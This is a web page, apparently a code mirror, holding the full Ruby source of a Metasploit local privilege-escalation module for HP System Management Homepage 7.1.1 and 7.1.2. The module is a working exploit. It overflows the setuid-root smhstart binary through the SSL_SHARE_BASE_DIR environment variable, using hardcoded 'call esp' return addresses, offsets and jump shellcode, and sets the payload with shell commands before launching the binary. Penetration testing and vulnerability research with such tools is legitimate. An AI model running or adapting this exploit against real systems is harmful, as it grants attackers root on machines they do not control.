Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/local/hp_smhstart.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = NormalRanking78include Msf::Exploit::EXE9include Msf::Post::File1011include Msf::Exploit::Local::Linux1213def initialize(info={})14super( update_info( info, {15'Name' => 'HP System Management Homepage Local Privilege Escalation',16'Description' => %q{17Versions of HP System Management Homepage <= 7.1.2 include a setuid root18smhstart which is vulnerable to a local buffer overflow in SSL_SHARE_BASE_DIR19env variable.20},21'License' => MSF_LICENSE,22'Author' =>23[24'agix' # @agixid # Vulnerability discovery and Metasploit module25],26'Platform' => [ 'linux' ],27'Arch' => [ ARCH_X86 ],28'SessionTypes' => [ 'shell' ],29'Payload' =>30{31'Space' => 227,32'BadChars' => "\x00\x22"33},34'References' =>35[36['OSVDB', '91990']37],38'Targets' =>39[40[ 'HP System Management Homepage 7.1.1',41{42'Arch' => ARCH_X86,43'CallEsp' => 0x080c86eb, # call esp44'Offset' => 5845}46],47[ 'HP System Management Homepage 7.1.2',48{49'Arch' => ARCH_X86,50'CallEsp' => 0x080c8b9b, # call esp51'Offset' => 5852}53],54],55'DefaultOptions' =>56{57'PrependSetuid' => true58},59'DefaultTarget' => 0,60'DisclosureDate' => '2013-03-30',61}62))63register_options([64OptString.new("smhstartDir", [ true, "smhstart directory", "/opt/hp/hpsmh/sbin/" ])65])66end6768def exploit69pl = payload.encoded70padding = rand_text_alpha(target['Offset'])71ret = [target['CallEsp']].pack('V')72exploit = pl73exploit << ret74exploit << "\x81\xc4\x11\xff\xff\xff" # add esp, 0xffffff1175exploit << "\xe9\x0e\xff\xff\xff" # jmp => beginning of pl76exploit << padding77exploit_encoded = Rex::Text.encode_base64(exploit) # to not break the shell base64 is better78id=cmd_exec("id -un")79if id!="hpsmh"80fail_with(Failure::NoAccess, "You are #{id}, you must be hpsmh to exploit this")81end82cmd_exec("export SSL_SHARE_BASE_DIR=$(echo -n '#{exploit_encoded}' | base64 -d)")83cmd_exec("#{datastore['smhstartDir']}/smhstart")84end85end868788